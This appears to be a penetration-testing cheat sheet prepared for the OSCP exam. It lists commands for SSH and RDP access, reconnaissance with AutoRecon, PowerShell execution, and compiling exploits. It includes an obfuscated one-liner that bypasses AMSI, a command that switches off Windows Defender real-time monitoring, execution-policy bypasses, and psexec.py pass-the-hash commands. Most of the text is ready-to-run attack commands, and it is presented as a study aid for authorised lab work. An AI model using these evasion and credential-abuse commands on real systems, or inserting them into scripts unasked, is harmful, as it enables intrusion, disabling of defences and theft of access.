- https://github.com/CountablyInfinite/oscp_cheatsheet
- https://github.com/frizb/MSF-Venom-Cheatsheet/blob/master/README.md
When receiving the error “/usr/bin/env: ‘python\r’: No such file or directory when running an python exploit.
- Open the python file in vim
- Use the command
:set ff=unix
- Save the file.
:wq
ssh key files needs to be permission 600
sudo chmod 600 <FILE>
ssh <USER>@<TARGET> -oKexAlgorithms=+diffie-hellman-group1-sha1
xfreerdp /d:<DOMAIN> /u:<USERNAME> /v:<TARGET IP> +clipboard
rdesktop -d <DOMAIN> -u <USERNAME> -p <PASSWORD>
https://github.com/DriftSec/AutoRecon-OSCP
sudo /home/user/.local/bin/autorecon -o autorecon <HOST> <HOST>
| findstr /I “<FIND STRING>”
| findstr /v “<IGNORE STRING>”
-nop
: (-noprofile
) which instructs powershell not to load the powershell user profile.-w hidden
: to avoid creating a window on the user’s desktop-e
: (-EncodedCommand
) use base64 encoding
powershell.exe Start-Process cmd.exe -Verb runAs
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Set-MpPreference -DisableRealtimeMonitoring $true
Get-ExecutionPolicy -Scope CurrentUser
-ExecutionPolicy Bypass
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
If no LM Hash use an empty one: aad3b435b51404eeaad3b435b51404ee
python3 psexec.py -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME>@<TARGET>
python3 psexec.py <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET>
gcc
sudo apt install mingw-64
i686-w64-mingw32-gcc something.c -o something.exe
x86_64-w64-mingw32-gcc something.c -o something.exe
gcc -Wall -o exploit X.c -Wl,--hash-style=both -m32